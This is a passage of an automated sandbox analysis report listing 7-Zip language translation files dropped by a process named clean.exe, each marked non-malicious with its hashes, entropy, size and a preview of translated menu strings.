                                                                                                                                                                                                                                                                  SHA-512:045422D358B3348A1E52CCED12D70757A7E6026801113EB68F07A399ACC75B6ECC9A1A4401CB7A65506C6F61D4FBB348765B0C80080072BFE06E0500CF31B0AC
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.07 : Nicolas Sierro..; 9.07 : Philippe Berthault..; 15.14 : Sylvain St-Amand (SSTSylvain)..;..;..;..;..;..;..;..;..0..7-Zip..French..Fran.ais..401..OK..Annuler........&Oui..&Non..&Fermer..Aide....&Continuer..440..Oui pour &Tous..Non pour T&ous..Arr.ter..Red.marrer..&Arri.re-plan..P&remier plan..&Pause..En pause...tes-vous sur de vouloir annuler ?..500..&Fichier..&.dition..Affic&hage..Fa&voris..&Outils..&Aide..540..&Ouvrir..Ouvrir . l'&int.rieur..Ouvrir . l'e&xt.rieur..&Voir..&.dition..Reno&mmer..&Copier vers.....&D.placer vers.....S&upprimer..Diviser le &fichier.....Combiner les fic&hiers.....P&ropri.t.s..Comme&ntaire.....Somme de contr.le..Diff..Cr.er un dossier..Cr.er un fichier..&Quitter..Lien..Flux &Alternatif..600..S.lectionner &Tout..D.s.lectionner Tout..&Inverser la S.lection..S.lectionner.....D.s.lectionner.....S.lectionner par Sorte..D.s.lectionner par Sorte..700..&Grandes Ic.nes..&Petites Ic.nes..&Liste..&D.tails..730..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fur.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7679
                                                                                                                                                                                                                                                                  Entropy (8bit):5.006541518255033
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i3er20XT2wwImuvDQjdkg9E3JIWQ+iWPNULtCG+ydZystz3:i3erJD2wRmubQL9EuiULtCG+ydksZ3
                                                                                                                                                                                                                                                                  MD5:DFD698A0F6ED7BF405A8FDD6F33B2315
                                                                                                                                                                                                                                                                  SHA1:A8CDBC14AD118C61D484CD62E8C4E7D1141FBB4E
                                                                                                                                                                                                                                                                  SHA-256:FC944EAA7883341372EBD5EF0E2F236CA248B2996A902240A75218541B600E72
                                                                                                                                                                                                                                                                  SHA-512:07C5CD9EDEDC00FC28F878D83D327D91A91EDC236B51D05CD8171E43BB175072FE9BF0A4C89D09E21441D8192B08E5C3E5E156FA132B1C657715A5B7CB0488A6
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.60 : Andrea Decorte (Klenje) : http://softfurlan.altervista.org : secont l'ortografie ufici.l de Provincie di Udin..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Friulian..Furlan..401..Va ben..Scancele........&S...&No..&Siare..&Jutori....&Continue..440..S. &a ducj..No a &ducj..Ferme..Torne a invi...&Sfont..P&rin plan..&Pause..In pause..S.stu sig.r di vol. scancel.?..500..&File..&Modifiche..&Viodude..&Prefer.ts..&Imprescj..&Jutori..540..&Viar...Viar. dentri 7-&Zip..V&iar. f.r di 7-Zip..&Mostre..M&odifiche..Gambie &non..&Copie in.....M.&f in.....&Elimine..&Div.t file.....Torne a &un. files.....P&ropiet.ts..Comen&t..Calcole so&me di control....Cree cartele..Cree file..V&a f.r..600..Selezione d&ut..&Deselezione dut..&Invert.s selezion..Selezione.....Deselezione.....Selezione par gjenar..Deselezione par gjenar..700..Iconis &grandis..Iconis &pi.ulis..&Liste..&Detais..730..Cence ordin..Viodude plane..&2 panei..Sbaris dai impresc&j..Viar. cartele princi

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fy.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):6498
                                                                                                                                                                                                                                                                  Entropy (8bit):5.016824364093303
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ikdpohFyPI4mHJR/eVMIBNgjJdMe1bEIVo5XT3EVULQ:ikmvpRGVwj7Me1bEQgDEV9
                                                                                                                                                                                                                                                                  MD5:0111890C0137974FCE2D79B6D22E5686
                                                                                                                                                                                                                                                                  SHA1:98AB055FA8BF5F410CAD55627424D6512338A4A1
                                                                                                                                                                                                                                                                  SHA-256:9FE460264AF4ABD9FF23EAB79387EBB52B4498758645CD5721E75FD7B747E536
                                                                                                                                                                                                                                                                  SHA-512:86ACDB4D62BF9C784BF21999CBA5FA3674E70FE5647FDF1DC6A9C5B3CF9C182A18272D9C8400D997BB09E12C908E08A87A951C3D0156A134802E00F70DD1AD90
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.53 : Berend Ytsma..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Frisian..Frysk..401..Okee..Ofbrekke........&Jawis..&Nee..&Slute..Help....&Ferfetsje..440..Jawis foar &Alles..Nee foar A&lles..Stopje..Opnij begjinne..&Eftergr.n..&Foargr.n..&Skoftsje..Skoft..Binne jo wis dat jo .fbrekke wolle?..500..&Triem..&Bewurkje..&Byld..B&l.dwizers..&Ark..&Help..540..&Iepenje..Iepenje &yn..Iepenje b.&ten..&Byld..&Bewurkje..Omne&ame..&Kopiearje nei.....&Ferpleats nei.....&Wiskje..Triemmen &spjalte.....Triemmen Kom&binearje.....E&igenskippen..Komme&ntaar..Kontr.lesom berekenje....Map meitsje..Triem meitsje..U&tgong..600..&Alles selektearje..Alles net selektearje..&Seleksje omdraaien..Selektearje.....Net selektearje.....Selektearje neffens type..Net selektearje neffens type..700..Gru&tte Ikoanen..L&ytse Ikoanen..&List..&Details..730..Net Sortearre..Platte werjefte..&2 Panielen..&Arkbalke..Haadmap iepenje..Ien nivo omheech..Maphistoarje.....&Ferfarskje..750..Argyf arkbalke..Stan

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ga.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8394
                                                                                                                                                                                                                                                                  Entropy (8bit):4.904288029664947
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iOCmUaOzBKdHRZqt83HRE0HruLP2HJioV/TFa18QCbjXsf0VUY+sGa:iTRNtKMt8BM1Y+ba
                                                                                                                                                                                                                                                                  MD5:B4295E254B9DFC90E0093188257C007C
                                                                                                                                                                                                                                                                  SHA1:6AE9B959A752C32FAB8407B3AA277F300165A579
                                                                                                                                                                                                                                                                  SHA-256:406669ECBDF562E773B9CDF831CF5F63C3DD1A012C3521A41227C9141511D959
                                                                                                                                                                                                                                                                  SHA-512:CC4671A9312B7F41DDECD2E02D038AFFD58BBC62363B811F15F10002C82AE826E060F5AD6E2B1FD75557B3DC3BBF12B6E6900B398623CF547E3727CCAA6BF8E1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Sean.n . Coist.n..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Irish..Gaeilge..401..T. go maith..Cealaigh........&T...&N.l..&D.n..Cabhair....&Lean ar aghaidh..440..T. do gach ceann..N.l go gach ceann..Stad..Atosaigh..&C.lra..&Tulra..&Cuir ar sos..Ar sos..An bhfuil t. cinnte gur mian leat . a cheal.?..500..&Comhad..&Leagan..Am&harc..Cean.in..&Uirlis...&Cabhair..540..&Oscail..Oscail &istigh..Oscail &lasamuigh..&Amharc..&Eagar..Athainmnigh..&Macasamhlaigh go.....&Bog go.....S&crios..Scar an comhad.....Cumascaigh na comhaid.....Air.onna..N.ta tr.chta..R.omh an tsuim sheice.la..Diff..Cruthaigh fillte.n..Cruthaigh comhad..&Scoir..600..Roghnaigh &uile..D.roghnaigh uile..&Aisiompaigh an roghn.ch.n..Roghnaigh.....D.roghnaigh.....Roghnaigh de r.ir cine.l..D.roghnaigh de r.ir cine.l..700..&Deilbh.n. m.ra..&Deilbh.n. beaga..&Liosta..&Sonra...730..Neamhaicmithe..Gach rud in aon chiseal..&2 fhuinneog..&Barra. na n-uirlis...Oscail an fr.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\gl.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9246
                                                                                                                                                                                                                                                                  Entropy (8bit):4.956252479946546
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iObNz5MsaqwKlr7UdusuTcaHAB9yVU8SqSd6W5rnuc+Yvy36rV:iOV5jaqwKlr7Ud+LgB9yVdOnuca6rV
                                                                                                                                                                                                                                                                  MD5:492E51B4B5B287FE2B90A5F0BD433847
                                                                                                                                                                                                                                                                  SHA1:F7E1EBA770D3D07D0E8C2BD61D556508EF0578B8
                                                                                                                                                                                                                                                                  SHA-256:54F676333CE58AF67B839B0F0470F99F405B5CE7FDB9C345A19D00B6423277E5
                                                                                                                                                                                                                                                                  SHA-512:0AA1DF55256324B24B495543E4ABBEFD776108BDD90D3155D02B1C10F018BDBD1700C4430848DFBD5073A374715F8510EFB17AE1812A9AA44B65E50EDB23DE59
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.00 : 2016-02-01 : enfeitizador..;..; 9.20 : 2014-11-26 : enfeitizador..;..; 3.12 : 2007-11-22 : Xos. Calvo..;..;..;..;..;..;..0..7-Zip..Galician..Galego..401..De acordo..Cancelar........&Si..&Non..Pe&char..Axuda....&Continuar..440..Si &a todo..Non a &todo..Parar..Reiniciar..Po.er por de&baixo..Traer ao &fronte..&Pausa..Pausado..Ten a certeza de querer cancelar?..500..&Ficheiro..&Editar..&Ver..F&avoritos..Ferramen&tas..A&xuda..540..&Abrir..Abrir &dentro..Abrir &fora..&Ver..&Editar..Rena&me..&Copiar a.....&Mover a.....&Eliminar..&Dividir ficheiro.....Com&binar ficheiros.....P&ropiedades..Come&ntario.....Calcular suma de verificaci.n..Diferenzas..Crear cartafol..Crear ficheiro..Sa&.r..Ligaz.n..&Alternar fluxos..600..Seleccion&ar todo..Desmarcar todo..&Inverter selecci.n..Seleccionar.....Desmarcar.....Seleccionar por tipo..Desmarcar por tipo..700..Iconas lon&gas..Iconas &mi.das..&Lista..&Detalles..730..Sen orde..Vista plana..&2 paneis..Barras de ferramen&

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\gu.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):18258
                                                                                                                                                                                                                                                                  Entropy (8bit):3.927118615474052
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:iyxKBXaWdxmWpk2x8QL/XwxD92K+R5+Twk292Bh72/OXMQH12fdvKA52hJV22b2o:FKBz5Cw+wvKAQco
                                                                                                                                                                                                                                                                  MD5:410C8A33C66B4B2BC707E113D9C76914
                                                                                                                                                                                                                                                                  SHA1:81A9F3618168DBECF309907EE74591AC3B1297B6
                                                                                                                                                                                                                                                                  SHA-256:9025D8A58E0C76B186C943EF8A73A1BBA6C08945E346DE14D3C255CCFA3A10E6
                                                                                                                                                                                                                                                                  SHA-512:A520CF2DC7E9F653BB08C93C657CB8E2D1142E86C3E0BACC44457CBA5EDE044E91FF01F55139C5AEB7B3F26E51724931EA2B2BB20A058C4B9D888A3AE8766021
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Vinayy Sharrma : .... ..... ...... ........ ..... ..... .. .. ....... ... ....... .... ..... .... ..... .. .... ..., .. ..... ! .. ...... ! .. .... ...... ! .. .........;..;..;..;..;..;..;..;..;..;..0..7-Zip..Gujarati, Indian, ......................401.....................&.....&....&... ............&.... ......440..&... .... .....&... .... .............. .... .....&............&........(.........)..&...................... .... .... .... ... ...

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\he.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9638
                                                                                                                                                                                                                                                                  Entropy (8bit):3.993889436832653
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i3h8ruwZaytizZ4uAZXjfZtJe7isjKRojdkAHat3:i3h8ifyM4uAZJaiUUt3
                                                                                                                                                                                                                                                                  MD5:88B61A23037990451412E0EAACDB6B62
                                                                                                                                                                                                                                                                  SHA1:A4039BBCBC3AC1B0B711EB9A1EF1FC92C02E997D
                                                                                                                                                                                                                                                                  SHA-256:67B025EA792A84FEE4844E308F4274611C0FB838D8E2E0B4D07C767E7F47A61F
                                                                                                                                                                                                                                                                  SHA-512:ACBA068F25712A925F83B90B266FA08EA80F2C5A8F2459DEF7CBE1E54108261442B7FE45C1260BCD0F6118A870FAB5717B81138304DF8DB3DA8ACBE98E0C078A
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : peterg..; : Gal Brill..; 9.13 : 2010-04-30 : Jonathan Lahav..;..;..;..;..;..;..;..;..0..7-Zip..Hebrew.........401......................&....&....&...............&.....440.... .&......&. ................ ......&.....&.......&............?... ../. ..../. ....... ......500..&......&.......&.......&.........&.......&.....540..&........ .&.......... .&......&.....&......&... ........... .&......... .&..&........... ....&........ .....&...&.................. ..... ................. ........... .......&......600....&. ........ ........&... ..................... .......... ... ........ ..... ... .....700....... &............. &..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hi.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):18290
                                                                                                                                                                                                                                                                  Entropy (8bit):3.9142884355450493
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:icNErTw7YtUD/xvVxkTTkjxQ10Up/ijaCXEk02VQGKFO8YeY:n601ao2hY
                                                                                                                                                                                                                                                                  MD5:A0FC3C3D880A54918D86B40FFDA12F23
                                                                                                                                                                                                                                                                  SHA1:34FB9F1B5A6731100466F66E193AB5028B3EC1BE
                                                                                                                                                                                                                                                                  SHA-256:8CCE5E5A846196DAC3649483290160177F47D88A7DCF0E85ACFD3131856A266A
                                                                                                                                                                                                                                                                  SHA-512:BD1F17D76699F177CE6DF4B69F82DFA777A0AE20E243D5FED0605FE951A79D8AE54371B07EB30F075161C108F46BE1CE21B162B66CC099C02ADB6EB6D5E8F158
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Vinayy Sharrma : ...... .... ..... ..... .. .. .. .... ... ..... .. ... ..... .. .. .... ...... .. .... ..., .. ..... ! .. ...... !..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Hindi, Indian, .....................401..... ................&.....&......&... ............&.... .....440..&... .. .... .....&... .. .... ................ .... ......&............&........(.........)..&....................... .... .... ..... ... ....... .... .. ....?..500..&......&

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hr.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8620
                                                                                                                                                                                                                                                                  Entropy (8bit):5.041227149386308
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iw/kl7v3mUecLy8RIxXr1aYPDIbOPw7zinGjeQOsEyKtizzDQ:ixpvNeBUuXr03inG2tyKtiPDQ
                                                                                                                                                                                                                                                                  MD5:A0A8A75560EFCF15801C96E6D71BECC3
                                                                                                                                                                                                                                                                  SHA1:B3F7B92D2A13151A14B493108A50A8365C46F6A0
                                                                                                                                                                                                                                                                  SHA-256:A72F01215EBA3BE3AF6659129DD20F7A42D74F1DA08658A9C8CE8E303C3E8F64
                                                                                                                                                                                                                                                                  SHA-512:D730C0DC30A299B6BAB1B8CFAE64D8D4BDEA121E651641F578B0947BF5F67669F342CE20198B26FE7881EC99BAF290695BC460828198A997B4E59EC91396C217
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.12 : Alan .imek..; 4.53 : Hasan Osmanagi...; 9.07 : ..; 15.05 : 2015-06-15 : Stjepan Treger ..;..;..;..;..;..;..;..0..7-Zip..Croatian..Hrvatski..401..U redu..Odustani........&Da..&Ne..&Zatvori..Pomo.....Nastavi..440..Da za &Sve..Ne za Sv&e..&Stani..Ponovi..U pozadini..U prvom planu..&Pauza..Pauzirano..Poni.titi?..500..&Datoteke..&Ure.ivanje..&Izgled..Omiljene mape..&Alati..&Pomo...540..&Otvori..Ot&vori mapu..Otvori u &sustavu..Iz&gled..&Ure.ivanje..Prei&menuj..&Kopiraj u.....Premje&sti u.....O&bri.i..Podije&li datoteku.....Spo&ji datoteke.....Svojs&tva..Komentar..Izra.un kontrolnog zbroja..Uspore.ivanje..Stvo&ri mapu..Stvori &datoteku..&Izlaz..Poveznica..&Alternativni tokovi..600..Odaberi &sve..Poni.ti odabir..&Obrni odabir..Odaberi.....Poni.ti odabir.....Odabir po tipu..Poni.ti odabir tipa..700..&Velike ikone..&Male ikone..&Popis..&Detalji..730..Neso&rtirano..Sadr.aj mapa..&2 okna..Alatne &trake..&Korijen..&Nadmapa..Pro.&le mape.....O&svje.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hu.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8134
                                                                                                                                                                                                                                                                  Entropy (8bit):5.262009421379581
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iZXt319cWEb67W5moMJO52dGiHld+VWuLA3+oV6cVRUJc:iP1HGmhJO52dLv+VtE3+oV6CUJc
                                                                                                                                                                                                                                                                  MD5:67DBEB584F41F0D7AD6CFA5D97B2DC5A
                                                                                                                                                                                                                                                                  SHA1:0105303B8BA7D2722D9B9FDCE1DE2E9B2AA076D5
                                                                                                                                                                                                                                                                  SHA-256:29C2A7C179CF6F1618DA3B507F8283A3131ABC38D36403A608E01448623DEE29
                                                                                                                                                                                                                                                                  SHA-512:8B921E2E04D3A5CC3B71F0F225A92F28FE136A1469831412A79C3737DBB4CA1AAFC73B41911EBA62244EBC04F61412386C4FBC021790D8AAC3033883BA9F64DF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Jozsef Tamas Herczeg..; 9.16 : Nyilas MISY..;..;..;..;..;..;..;..;..;..0..7-Zip..Hungarian..Magyar..401..OK..M.gsem........&Igen..&Nem..&Bez.r.s..S.g.....&Folytat.s..440..I&gen, mindre..N&em, mindre..Le.ll.t.s...jraind.t.s..&H.tt.rben..&El.t.rben..&Sz.net..Sz.net..Biztos, hogy megszak.tja a folyamatot?..500..&F.jl..S&zerkeszt.s..&N.zet..Ked&vencek..&Eszk.z.k..&S.g...540..M&egnyit.s..Megnyit.s &bel.l..Megnyit.s k.&v.l..&N.zet..S&zerkeszt.s...tn&evez.s..M.s&ol.s mapp.ba......t&helyez.s mapp.ba.....&T.rl.s..F.jl&darabol.s.....F.jl&egyes.t.s.....T&ulajdons.gok..&Megjegyz.s..Checksum sz.mol.sa..K.l.nbs.g..Mappa l.trehoz.sa..F.jl l.trehoz.sa..&Kil.p.s..600..Min&d kijel.l.se..Kijel.l.s megsz.ntet.se..Kijel.l.s &megford.t.sa..Kijel.l.s.....Megsz.ntet.s.....Kijel.l.s t.pus alapj.n..Megsz.ntet.s t.pus alapj.n..700..&Nagy ikonok..&Kis ikonok..&Lista..&R.szletek..730..Rendezetlen..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\hy.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):14158
                                                                                                                                                                                                                                                                  Entropy (8bit):4.347497505676546
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:igxIecm/mNxhlsms7CBFPwWbLkSMBvAoPz3qkZXDwC7o9F9f:iTeB4lE7Gw8KoqznlT2F9f
                                                                                                                                                                                                                                                                  MD5:1362C3C286CFF992117D5466BBE284F6
                                                                                                                                                                                                                                                                  SHA1:FAF50ECDB6DB6CD6BA9E0AE18E7FAD64511048C7
                                                                                                                                                                                                                                                                  SHA-256:D8F60BF92541D20D01F6DDD56D49F25519303FD16E285E18080BE6815B74B8A8
                                                                                                                                                                                                                                                                  SHA-512:1834FE901B1182B793872E2A822801966ABDF312873E15877E589B9C6A58D04E06A2C60B26D2209FE7048F7EA9BEFE0F6B39630EB4C5578A54735B6840677205
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Gevorg Papikyan..; 15.00 : Hrant Ohanyan : http://haysoft.org..;..;..;..;..;..;..;..;..;..0..7-Zip..Armenian...........401.......................&.....&....&.....................&............440..... ...... &......... ...... &.............................&...............&.........&............. ... ..............500..&......&..........&......&.............&..........&............540..&............ &.............. ...&.............&.............&.........&.............&..............&.............& ...........&....... ................&.................&.....................................&....... ..............

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\id.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8426
                                                                                                                                                                                                                                                                  Entropy (8bit):4.8710402770752355
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i5MrEmEj1/FrdYlMRsF4wx+7lei2ev9K13nCloKfY:iKrEmEp/FGlmsFs7Gev9K13nqoYY
                                                                                                                                                                                                                                                                  MD5:9C440CA337C3F074809FFCE7E4230E82
                                                                                                                                                                                                                                                                  SHA1:39BCB7CC6495D5D3C656415EF27C6D41D43F6E8C
                                                                                                                                                                                                                                                                  SHA-256:20CECDC427D3208A748CDEECE9F2E97E9C01C0F084FF5D03EA35B4755FDD6DE3
                                                                                                                                                                                                                                                                  SHA-512:A0186CB85F99EF59CBAB8B72D46E9E25C0ECB255E1A40CD1AE4B7071A6C5D47A262CBC1082AF538E25F323D7B3BD8117D435C01F6A96C5D31D186E1266068AD2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.14 : 02/01/2016 : Frans Liando..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Indonesian..Bahasa Indonesia..401..Oke..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Lanjut..440..Ya untuk &semua..Tidak untuk s&emua..Henti..Mulai Ulang..Latar Bela&kang..Latar &Depan..&Jeda..Terjeda..Anda yakin ingin batal?..500..&Berkas..&Edit..Tam&pilan..&Kesukaan..Pera&latan..Ban&tuan..540..&Buka..Buka Sisi &Dalam..Buka Sisi L&uar..&Tampilkan..&Edit..&Nama Ulang..&Salin Ke.....P&indahkan Ke.....&Hapus..Be&lah Berkas.....Gabun&g Berkas.....P&roperti..K&omentari..Hitung ceksum..Beda..Buat Direktori..Buat Berkas..&Keluar..Tautan..Alternati&f Aliran..600..Pi&lih Semua..Batal Pilih Semua..Pilih Sebal&iknya..Pilih.....Batal Pilih.....Pilih Berdasarkan Tipe..Batal Pilih Berdasarkan Tipe..700..Ikon &Besar..Ikon &Kecil..&Daftar..&Rincian..730..Tidak Berurutan..Tampilan Datar..&2 Panel..Bilah Ala&t..Buka Akar Direktori..Naik Satu Tingkat..Riwayat Direktori.....&Segarkan..Segarkan Otomatis..750

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\io.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5074
                                                                                                                                                                                                                                                                  Entropy (8bit):4.916524072746988
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:ippkcp8iNRBkNXmZ0bcC4+bnbD9LwXzBf9pw52Nt8UVeCLP9TNW7+kV:iXJzRyyqc1+bbDmVpw5wt8KeCLP9Qt
                                                                                                                                                                                                                                                                  MD5:DF8BD55B7A296DA48C8705E1D00BAD7E
                                                                                                                                                                                                                                                                  SHA1:A77ADF8BEFCE2AB506C2FC728DF2D0725983AF95
                                                                                                                                                                                                                                                                  SHA-256:60EDA200D8D995626FDFB1D523F02A9AA538CE5E8EE5028B41293F615A9D451A
                                                                                                                                                                                                                                                                  SHA-512:C3ABBC52ED7B331681E2CA1EA260DC54ED93854799839EC5E724439368E970F09A145BCDB0B638099FA3C8DBEDB21B2EF69196B35565A597E45606491B5D5642
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.08 : iZoom..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Ido..Ido..401..B&one..Abandonar........&Yes..&No..&Klozez..Helpo....&Durez..440..Yes por &omni..No por o&mni..Haltez..Ristartez..&Fono..&Avanajo..&Pauzo..Pauzita..Kad vu ya volas abortar?..500..&Dosiero..&Redakto..&Aspekto..&Favoraji..&Utensili..&Helpo..540..&Apertigar..Apertigar int&erne..Apertigar e&xter..&Vidigar..&Redaktar..Ch&anjar nomo..Ko&piar aden.....Transp&ozar aden.....E&facar..F&endar dosiero.....Komb&inar dosieri.....In&heraji..Ko&mentar......Krear &dosieruyo..Krear dos&iero..E&kirar..600..Merk&ar omno..Des&merkar omno..&Inversigar merko..Merkar.....Desmerkar.....Merkar segun tipo..Desmerkar segun tipo..700..&Granda ikoneti..&Mikra ikoneti..&Listo..&Tabelo..730..&Nearanjite....&2 paneli..Utens&ila paneli..Apertigar radika dosieruyo..Ad-supre ye un nivelo..Dosieruya historio.....R&inovigar..750..Utensila panelo di arkivo..Norma utensila panelo..Granda ikoneti..Videbla butontexto..800..&Adjuntar do

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\is.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
